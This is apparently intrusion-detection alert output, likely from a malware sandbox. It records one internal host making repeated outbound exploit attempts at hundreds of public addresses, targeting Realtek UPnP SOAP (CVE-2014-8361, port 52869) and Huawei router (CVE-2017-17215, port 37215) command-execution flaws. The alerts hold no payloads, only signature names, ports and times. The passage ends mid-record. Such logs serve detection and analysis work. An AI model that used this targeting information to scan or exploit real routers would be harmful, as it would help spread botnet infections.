Timestamp:	07/20/24-23:02:00.908220
SID:	2027339
Source Port:	56222
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.140.216.184

Timestamp:	07/20/24-23:01:53.064325
SID:	2027339
Source Port:	54512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.63.197.170

Timestamp:	07/20/24-23:01:00.638418
SID:	2835222
Source Port:	40104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.73.220.78

Timestamp:	07/20/24-23:01:56.304951
SID:	2025132
Source Port:	45530
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.68.229.244

Timestamp:	07/20/24-23:01:47.331200
SID:	2025132
Source Port:	46806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.95.192.176

Timestamp:	07/20/24-23:01:42.527235
SID:	2831300
Source Port:	58096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 50.88.74.31

Timestamp:	07/20/24-23:01:42.988853
SID:	2025132
Source Port:	55828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 149.142.97.135

Timestamp:	07/20/24-23:01:26.125703
SID:	2025132
Source Port:	36076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 87.76.92.180

Timestamp:	07/20/24-23:01:42.334131
SID:	2025132
Source Port:	55440
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 141.3.146.221

Timestamp:	07/20/24-23:01:56.667752
SID:	2831300
Source Port:	33118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.129.118.181

Timestamp:	07/20/24-23:01:24.876750
SID:	2835222
Source Port:	53958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.183.90.96

Timestamp:	07/20/24-23:01:21.954501
SID:	2829579
Source Port:	50736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.182.174.70

Timestamp:	07/20/24-23:01:43.023201
SID:	2027339
Source Port:	38018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.7.17.21

Timestamp:	07/20/24-23:02:07.493932
SID:	2027339
Source Port:	48246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 125.137.245.127

Timestamp:	07/20/24-23:01:45.165718
SID:	2831300
Source Port:	33260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.50.145.107

Timestamp:	07/20/24-23:01:00.637175
SID:	2829579
Source Port:	36270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 114.55.77.0

Timestamp:	07/20/24-23:01:43.642551
SID:	2025132
Source Port:	56348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 212.16.123.155

Timestamp:	07/20/24-23:01:43.167781
SID:	2025132
Source Port:	52466
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.244.111.55

Timestamp:	07/20/24-23:01:51.060408
SID:	2027339
Source Port:	44768
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.141.1.52

Timestamp:	07/20/24-23:01:43.993916
SID:	2027339
Source Port:	44844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.192.243.189

Timestamp:	07/20/24-23:01:52.006905
SID:	2831300
Source Port:	38194
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.202.7.129

Timestamp:	07/20/24-23:01:09.027075
SID:	2027339
Source Port:	44806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.215.58.156

Timestamp:	07/20/24-23:01:11.631728
SID:	2829579
Source Port:	54338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 161.245.24.12

Timestamp:	07/20/24-23:01:42.660847
SID:	2025132
Source Port:	59292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.191.84.86

Timestamp:	07/20/24-23:01:43.874054
SID:	2831300
Source Port:	60092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.85.168.68

Timestamp:	07/20/24-23:01:42.390246
SID:	2027339
Source Port:	54794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.108.65.14

Timestamp:	07/20/24-23:01:34.050313
SID:	2829579
Source Port:	56566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.212.42.23

Timestamp:	07/20/24-23:02:12.234515
SID:	2027339
Source Port:	58290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 77.62.120.208

Timestamp:	07/20/24-23:01:20.113254
SID:	2835222
Source Port:	55470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.251.2.20

Timestamp:	07/20/24-23:01:44.470424
SID:	2027339
Source Port:	40172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 168.91.139.254

Timestamp:	07/20/24-23:01:26.790100
SID:	2025132
Source Port:	35768
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.39.228.144

Timestamp:	07/20/24-23:01:59.992285
SID:	2027339
Source Port:	47032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.225.3.54

Timestamp:	07/20/24-23:01:04.986393
SID:	2027339
Source Port:	57142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.145.129.242

Timestamp:	07/20/24-23:01:46.387777
SID:	2831300
Source Port:	60138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.186.61.171

Timestamp:	07/20/24-23:01:47.267254
SID:	2027339
Source Port:	51136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 78.236.82.99

Timestamp:	07/20/24-23:02:48.447183
SID:	2025132
Source Port:	37874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 18.194.44.24

Timestamp:	07/20/24-23:01:42.507489
SID:	2831300
Source Port:	41820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.138.152.232

Timestamp:	07/20/24-23:01:57.723224
SID:	2027339
Source Port:	45188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.57.36.21

Timestamp:	07/20/24-23:01:07.033766
SID:	2835222
Source Port:	59984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.37.248.61

Timestamp:	07/20/24-23:01:11.631937
SID:	2835222
Source Port:	45702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 206.12.145.11

Timestamp:	07/20/24-23:01:42.891313
SID:	2025132
Source Port:	35544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.143.175.164

Timestamp:	07/20/24-23:00:57.221530
SID:	2835222
Source Port:	57708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.56.140.249

Timestamp:	07/20/24-23:01:41.933600
SID:	2027339
Source Port:	57584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.4.24.206

Timestamp:	07/20/24-23:01:51.144153
SID:	2027339
Source Port:	47330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 1.198.183.23

Timestamp:	07/20/24-23:01:45.660608
SID:	2831300
Source Port:	53702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.101.108.92

Timestamp:	07/20/24-23:01:08.590937
SID:	2027339
Source Port:	42412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.180.129.117

Timestamp:	07/20/24-23:01:56.485717
SID:	2025132
Source Port:	36340
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 39.170.42.160

Timestamp:	07/20/24-23:01:43.998794
SID:	2831300
Source Port:	55406
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.142.66.141

Timestamp:	07/20/24-23:01:14.126869
SID:	2829579
Source Port:	47980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 104.38.28.110

Timestamp:	07/20/24-23:01:02.103737
SID:	2835222
Source Port:	36284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 65.136.207.183

Timestamp:	07/20/24-23:01:04.786751
SID:	2025132
Source Port:	55894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 161.203.121.55

Timestamp:	07/20/24-23:01:02.081923
SID:	2025132
Source Port:	50626
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 195.45.218.64

Timestamp:	07/20/24-23:01:44.325103
SID:	2025132
Source Port:	57446
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.228.92.40

Timestamp:	07/20/24-23:01:42.677933
SID:	2027339
Source Port:	48580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.111.156.136

Timestamp:	07/20/24-23:01:46.305660
SID:	2027339
Source Port:	59386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 100.45.46.163

Timestamp:	07/20/24-23:01:25.540121
SID:	2025132
Source Port:	60856
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.67.206.241

Timestamp:	07/20/24-23:01:04.058922
SID:	2829579
Source Port:	48232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.201.27.61

Timestamp:	07/20/24-23:01:49.454456
SID:	2025132
Source Port:	49386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.154.164.78

Timestamp:	07/20/24-23:01:04.049279
SID:	2835222
Source Port:	49124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.246.209.117

Timestamp:	07/20/24-23:01:13.983744
SID:	2027339
Source Port:	40058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.2.142.127

Timestamp:	07/20/24-23:01:20.156820
SID:	2835222
Source Port:	50346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.83.163.85

Timestamp:	07/20/24-23:01:26.043735
SID:	2027339
Source Port:	46620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 210.209.80.73

Timestamp:	07/20/24-23:01:47.796509
SID:	2025132
Source Port:	52586
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 98.137.112.190

Timestamp:	07/20/24-23:01:21.943544
SID:	2835222
Source Port:	48950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.155.242.14

Timestamp:	07/20/24-23:01:45.034156
SID:	2831300
Source Port:	45608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 17.24.227.79

Timestamp:	07/20/24-23:01:46.971627
SID:	2025132
Source Port:	56016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.12.208.34

Timestamp:	07/20/24-23:02:20.068152
SID:	2027339
Source Port:	37824
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 53.176.94.191

Timestamp:	07/20/24-23:01:42.401855
SID:	2831300
Source Port:	40012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.253.120.16

Timestamp:	07/20/24-23:01:27.730585
SID:	2829579
Source Port:	52710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.163.80.204

Timestamp:	07/20/24-23:01:04.040812
SID:	2835222
Source Port:	48880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.83.235.248

Timestamp:	07/20/24-23:01:20.156820
SID:	2835222
Source Port:	59578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.237.154.16

Timestamp:	07/20/24-23:02:11.752225
SID:	2027339
Source Port:	48318
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.83.213.222

Timestamp:	07/20/24-23:01:03.225977
SID:	2027339
Source Port:	43060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.213.123.243

Timestamp:	07/20/24-23:01:42.758699
SID:	2027339
Source Port:	56734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 182.21.209.138

Timestamp:	07/20/24-23:01:57.762774
SID:	2025132
Source Port:	57830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.206.59.160

Timestamp:	07/20/24-23:01:04.049279
SID:	2835222
Source Port:	59072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.212.61.129

Timestamp:	07/20/24-23:00:57.222163
SID:	2829579
Source Port:	43440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 223.98.49.191

Timestamp:	07/20/24-23:01:02.070492
SID:	2835222
Source Port:	36080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 100.7.167.160

Timestamp:	07/20/24-23:01:09.032669
SID:	2831300
Source Port:	54312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.199.110.98

Timestamp:	07/20/24-23:01:12.807101
SID:	2831300
Source Port:	37332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.198.64.39

Timestamp:	07/20/24-23:01:07.016889
SID:	2829579
Source Port:	35002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.28.95.234

Timestamp:	07/20/24-23:01:40.310207
SID:	2829579
Source Port:	41020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.111.117.206

Timestamp:	07/20/24-23:01:43.498156
SID:	2027339
Source Port:	38412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.44.241.190

Timestamp:	07/20/24-23:01:20.144672
SID:	2835222
Source Port:	45890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.40.249.193

Timestamp:	07/20/24-23:01:47.840364
SID:	2831300
Source Port:	54362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.225.128.216

Timestamp:	07/20/24-23:01:51.864479
SID:	2027339
Source Port:	57882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.130.15.144

Timestamp:	07/20/24-23:01:44.795218
SID:	2027339
Source Port:	55440
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 206.153.203.206

Timestamp:	07/20/24-23:01:21.938818
SID:	2835222
Source Port:	37944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.111.23.136

Timestamp:	07/20/24-23:01:20.110860
SID:	2829579
Source Port:	58438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 92.186.116.223

Timestamp:	07/20/24-23:01:58.755147
SID:	2027339
Source Port:	45994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.117.132.232

Timestamp:	07/20/24-23:01:02.783592
SID:	2027339
Source Port:	55066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 209.26.187.120

Timestamp:	07/20/24-23:01:32.059767
SID:	2835222
Source Port:	45268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.89.50.234

Timestamp:	07/20/24-23:01:58.474391
SID:	2027339
Source Port:	54626
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.161.3.79

Timestamp:	07/20/24-23:01:13.289823
SID:	2027339
Source Port:	34358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 212.24.31.41

Timestamp:	07/20/24-23:01:41.501891
SID:	2025132
Source Port:	53774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.29.185.108

Timestamp:	07/20/24-23:01:24.889164
SID:	2835222
Source Port:	52336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 66.150.226.120

Timestamp:	07/20/24-23:01:51.172994
SID:	2831300
Source Port:	44444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.108.114.50

Timestamp:	07/20/24-23:01:42.641430
SID:	2025132
Source Port:	55140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.116.171.252

Timestamp:	07/20/24-23:01:50.065539
SID:	2831300
Source Port:	34878
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.69.228.71

Timestamp:	07/20/24-23:01:25.200191
SID:	2025132
Source Port:	57584
